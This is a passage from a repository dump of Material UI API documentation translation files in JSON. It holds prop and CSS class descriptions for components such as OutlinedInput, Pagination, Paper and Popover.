    "content": "{\n  \"componentDescription\": \"An alternative to `<Select native />` with a much smaller bundle size footprint.\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The option elements to populate the select with. Can be some <code>&lt;option&gt;</code> elements.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"IconComponent\": { \"description\": \"The icon that displays the arrow.\" },\n    \"input\": {\n      \"description\": \"An <code>Input</code> element; does not have to be a material-ui specific <code>Input</code>.\"\n    },\n    \"inputProps\": {\n      \"description\": \"<a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/select#attributes\\\">Attributes</a> applied to the <code>select</code> element.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when a menu item is selected.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": { \"description\": \"The <code>input</code> value. The DOM API casts this to a string.\" },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the select component <code>disabled</code> class\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the select component <code>error</code> class\"\n    },\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"icon\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the icon component\" },\n    \"iconFilled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the icon component\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"iconOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the icon component\",\n      \"conditions\": \"the popup is open\"\n    },\n    \"iconOutlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the icon component\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"iconStandard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the icon component\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    },\n    \"multiple\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>multiple={true}</code>\"\n    },\n    \"nativeInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the underlying native input component\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"select\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the select component <code>select</code> class\"\n    },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/no-ssr/no-ssr.json",
    "content": "{\n  \"componentDescription\": \"NoSsr purposely removes components from the subject of Server Side Rendering (SSR).\\n\\nThis component can be useful in a variety of situations:\\n\\n* Escape hatch for broken dependencies not supporting SSR.\\n* Improve the time-to-first paint on the client by only rendering above the fold.\\n* Reduce the rendering time on the server.\\n* Under too heavy server load, you can turn on service degradation.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"You can wrap a node.\" },\n    \"defer\": {\n      \"description\": \"If <code>true</code>, the component will not only prevent server-side rendering. It will also defer the rendering of the children into a different screen frame.\"\n    },\n    \"fallback\": { \"description\": \"The fallback content to display.\" }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/outlined-input/outlined-input.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"autoComplete\": {\n      \"description\": \"This prop helps users to fill forms faster, especially on mobile devices. The name can be confusing, as it&#39;s more like an autofill. You can learn more about it <a href=\\\"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill\\\">following the specification</a>.\"\n    },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is focused during the first mount.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>. The prop defaults to the value (<code>&#39;primary&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the component is disabled. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"endAdornment\": { \"description\": \"End <code>InputAdornment</code> for this component.\" },\n    \"error\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will indicate an error. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will take up the full width of its container.\"\n    },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"inputComponent\": {\n      \"description\": \"The component used for the <code>input</code> element. Either a string to use a HTML element or a component.\"\n    },\n    \"inputProps\": {\n      \"description\": \"<a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes\\\">Attributes</a> applied to the <code>input</code> element.\"\n    },\n    \"inputRef\": { \"description\": \"Pass a ref to the <code>input</code> element.\" },\n    \"label\": {\n      \"description\": \"The label of the <code>input</code>. It is only used for layout. The actual labelling is handled by <code>InputLabel</code>.\"\n    },\n    \"margin\": {\n      \"description\": \"If <code>dense</code>, will adjust vertical spacing. This is normally obtained via context from FormControl. The prop defaults to the value (<code>&#39;none&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"maxRows\": {\n      \"description\": \"Maximum number of rows to display when multiline option is set to true.\"\n    },\n    \"minRows\": {\n      \"description\": \"Minimum number of rows to display when multiline option is set to true.\"\n    },\n    \"multiline\": {\n      \"description\": \"If <code>true</code>, a <a href=\\\"https://mui.com/material-ui/react-textarea-autosize/\\\">TextareaAutosize</a> element is rendered.\"\n    },\n    \"name\": { \"description\": \"Name attribute of the <code>input</code> element.\" },\n    \"notched\": {\n      \"description\": \"If <code>true</code>, the outline is notched to accommodate the label.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"placeholder\": {\n      \"description\": \"The short hint displayed in the <code>input</code> before the user enters a value.\"\n    },\n    \"readOnly\": {\n      \"description\": \"It prevents the user from changing the value of the field (not from interacting with the field).\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"rows\": { \"description\": \"Number of rows to display when multiline option is set to true.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"startAdornment\": { \"description\": \"Start <code>InputAdornment</code> for this component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"type\": {\n      \"description\": \"Type of the <code>input</code> element. It should be <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types\\\">a valid HTML5 input type</a>.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the <code>input</code> element, required for a controlled component.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"adornedEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>endAdornment</code> is provided\"\n    },\n    \"adornedStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>startAdornment</code> is provided\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the color is secondary\"\n    },\n    \"disabled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"focused\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is focused\"\n    },\n    \"input\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the input element\" },\n    \"inputTypeSearch\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>type=\\\"search\\\"</code>\"\n    },\n    \"multiline\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>multiline={true}</code>\"\n    },\n    \"notchedOutline\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the NotchedOutline element\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/pagination/pagination.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"boundaryCount\": { \"description\": \"Number of always visible pages at the beginning and end.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The active color. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"count\": { \"description\": \"The total number of pages.\" },\n    \"defaultPage\": {\n      \"description\": \"The page selected by default when the component is uncontrolled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"getItemAriaLabel\": {\n      \"description\": \"Accepts a function which returns a string value that provides a user-friendly name for the current page. This is important for screen reader users.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\",\n      \"typeDescriptions\": {\n        \"type\": {\n          \"name\": \"type\",\n          \"description\": \"The link or button type to format (&#39;page&#39; | &#39;first&#39; | &#39;last&#39; | &#39;next&#39; | &#39;previous&#39; | &#39;start-ellipsis&#39; | &#39;end-ellipsis&#39;). Defaults to &#39;page&#39;.\"\n        },\n        \"page\": { \"name\": \"page\", \"description\": \"The page number to format.\" },\n        \"selected\": { \"name\": \"selected\", \"description\": \"If true, the current page is selected.\" }\n      }\n    },\n    \"hideNextButton\": { \"description\": \"If <code>true</code>, hide the next-page button.\" },\n    \"hidePrevButton\": { \"description\": \"If <code>true</code>, hide the previous-page button.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the page is changed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"page\": { \"name\": \"page\", \"description\": \"The page selected.\" }\n      }\n    },\n    \"page\": {\n      \"description\": \"The current page. Unlike <code>TablePagination</code>, which starts numbering from <code>0</code>, this pagination starts from <code>1</code>.\"\n    },\n    \"renderItem\": {\n      \"description\": \"Render the item.\",\n      \"typeDescriptions\": {\n        \"params\": { \"name\": \"params\", \"description\": \"The props to spread on a PaginationItem.\" }\n      }\n    },\n    \"shape\": { \"description\": \"The shape of the pagination items.\" },\n    \"showFirstButton\": { \"description\": \"If <code>true</code>, show the first-page button.\" },\n    \"showLastButton\": { \"description\": \"If <code>true</code>, show the last-page button.\" },\n    \"siblingCount\": {\n      \"description\": \"Number of always visible pages before and after the current page.\"\n    },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"text\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"text\\\"</code>\"\n    },\n    \"ul\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the ul element\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/pagination-item/pagination-item.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The active color. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"nativeButton\": {\n      \"description\": \"Whether the custom component should render a native <code>&lt;button&gt;</code> element when rendering a React component with the <code>component</code> or <code>slots</code> prop.\"\n    },\n    \"page\": { \"description\": \"The current page number.\" },\n    \"selected\": { \"description\": \"If <code>true</code> the pagination item is selected.\" },\n    \"shape\": { \"description\": \"The shape of the pagination item.\" },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"type\": { \"description\": \"The type of pagination item.\" },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"ellipsis\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>type=\\\"start-ellipsis\\\"</code> or <code>type=\\\"end-ellipsis\\\"</code>\"\n    },\n    \"firstLast\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>type=\\\"first\\\"</code> or type=&quot;last&quot;\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"keyboard focused\"\n    },\n    \"icon\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the icon to display\" },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"page\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>type=\\\"page\\\"</code>\"\n    },\n    \"previousNext\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>type=\\\"previous\\\"</code> or type=&quot;next&quot;\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"rounded\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>rounded=\\\"true\\\"</code>\"\n    },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code>\"\n    },\n    \"sizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"large\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"text\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"text\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"first\": \"The component that renders the first page slot.\",\n    \"last\": \"The component that renders the last page slot.\",\n    \"next\": \"The component that renders the next page slot.\",\n    \"previous\": \"The component that renders the previous page slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/paper/paper.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"elevation\": {\n      \"description\": \"Shadow depth, corresponds to <code>dp</code> in the spec. It accepts values between 0 and 24 inclusive.\"\n    },\n    \"square\": { \"description\": \"If <code>true</code>, rounded corners are disabled.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"elevation\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"elevation\\\"</code>\"\n    },\n    \"elevation0\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={0}</code>\"\n    },\n    \"elevation1\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={1}</code>\"\n    },\n    \"elevation10\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={10}</code>\"\n    },\n    \"elevation11\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={11}</code>\"\n    },\n    \"elevation12\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={12}</code>\"\n    },\n    \"elevation13\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={13}</code>\"\n    },\n    \"elevation14\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={14}</code>\"\n    },\n    \"elevation15\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={15}</code>\"\n    },\n    \"elevation16\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={16}</code>\"\n    },\n    \"elevation17\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={17}</code>\"\n    },\n    \"elevation18\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={18}</code>\"\n    },\n    \"elevation19\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={19}</code>\"\n    },\n    \"elevation2\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={2}</code>\"\n    },\n    \"elevation20\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={20}</code>\"\n    },\n    \"elevation21\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={21}</code>\"\n    },\n    \"elevation22\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={22}</code>\"\n    },\n    \"elevation23\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={23}</code>\"\n    },\n    \"elevation24\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={24}</code>\"\n    },\n    \"elevation3\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={3}</code>\"\n    },\n    \"elevation4\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={4}</code>\"\n    },\n    \"elevation5\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={5}</code>\"\n    },\n    \"elevation6\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={6}</code>\"\n    },\n    \"elevation7\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={7}</code>\"\n    },\n    \"elevation8\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={8}</code>\"\n    },\n    \"elevation9\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>elevation={9}</code>\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"rounded\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>square={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/pigment-container/pigment-container.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, the left and right padding is removed.\"\n    },\n    \"fixed\": {\n      \"description\": \"Set the max-width to match the min-width of the current breakpoint. This is useful if you&#39;d prefer to design for a fixed set of sizes instead of trying to accommodate a fully fluid viewport. It&#39;s fluid by default.\"\n    },\n    \"maxWidth\": {\n      \"description\": \"Determine the max-width of the container. The container width grows with the size of the screen. Set to <code>false</code> to disable <code>maxWidth</code>.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/pigment-grid/pigment-grid.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"columns\": { \"description\": \"The number of columns.\" },\n    \"columnSpacing\": {\n      \"description\": \"Defines the horizontal space between the type <code>item</code> components. It overrides the value of the <code>spacing</code> prop.\"\n    },\n    \"container\": {\n      \"description\": \"If <code>true</code>, the component will have the flex <em>container</em> behavior. You should be wrapping <em>items</em> with a <em>container</em>.\"\n    },\n    \"direction\": {\n      \"description\": \"Defines the <code>flex-direction</code> style property. It is applied for all screen sizes.\"\n    },\n    \"offset\": { \"description\": \"Defines the offset of the grid.\" },\n    \"rowSpacing\": {\n      \"description\": \"Defines the vertical space between the type <code>item</code> components. It overrides the value of the <code>spacing</code> prop.\"\n    },\n    \"size\": { \"description\": \"Defines the column size of the grid.\" },\n    \"spacing\": {\n      \"description\": \"Defines the space between the type <code>item</code> components. It can only be used on a type <code>container</code> component.\"\n    },\n    \"wrap\": {\n      \"description\": \"Defines the <code>flex-wrap</code> style property. It&#39;s applied for all screen sizes.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/pigment-stack/pigment-stack.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"direction\": {\n      \"description\": \"Defines the <code>flex-direction</code> style property. It is applied for all screen sizes.\"\n    },\n    \"divider\": { \"description\": \"Add an element between each child.\" },\n    \"spacing\": { \"description\": \"Defines the space between immediate children.\" },\n    \"sx\": {\n      \"description\": \"The system prop, which allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/popover/popover.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"action\": {\n      \"description\": \"A ref for imperative actions. It currently only supports updatePosition() action.\"\n    },\n    \"anchorEl\": {\n      \"description\": \"An HTML element, <a href=\\\"https://mui.com/material-ui/react-popover/#virtual-element\\\">PopoverVirtualElement</a>, or a function that returns either. It&#39;s used to set the position of the popover.\"\n    },\n    \"anchorOrigin\": {\n      \"description\": \"This is the point on the anchor where the popover&#39;s <code>anchorEl</code> will attach to. This is not used when the anchorReference is &#39;anchorPosition&#39;.<br>Options: vertical: [top, center, bottom]; horizontal: [left, center, right].\"\n    },\n    \"anchorPosition\": {\n      \"description\": \"This is the position that may be used to set the position of the popover. The coordinates are relative to the application&#39;s client area.\"\n    },\n    \"anchorReference\": {\n      \"description\": \"This determines which anchor prop to refer to when setting the position of the popover.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"container\": {\n      \"description\": \"An HTML element, component instance, or function that returns either. The <code>container</code> will passed to the Modal component.<br>By default, it uses the body of the anchorEl&#39;s top-level document object, so it&#39;s simply <code>document.body</code> most of the time.\"\n    },\n    \"disableScrollLock\": { \"description\": \"Disable the scroll lock behavior.\" },\n    \"elevation\": { \"description\": \"The elevation of the popover.\" },\n    \"marginThreshold\": {\n      \"description\": \"Specifies how close to the edge of the window the popover can appear. If null, the popover will not be constrained by the window.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed. The <code>reason</code> parameter can optionally be used to control the response to <code>onClose</code>.\"\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transformOrigin\": {\n      \"description\": \"This is the point on the popover which will attach to the anchor&#39;s origin.<br>Options: vertical: [top, center, bottom, x(px)]; horizontal: [left, center, right, x(px)].\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"Set to &#39;auto&#39; to automatically calculate transition time based on height.\"\n    }\n  },\n  \"classDescriptions\": {},\n  \"slotDescriptions\": {\n    \"backdrop\": \"The component used for the backdrop slot.\",\n    \"paper\": \"The component used for the paper slot.\",\n    \"root\": \"The component used for the root slot.\",\n    \"transition\": \"The component used for the transition slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/popper/popper.json",
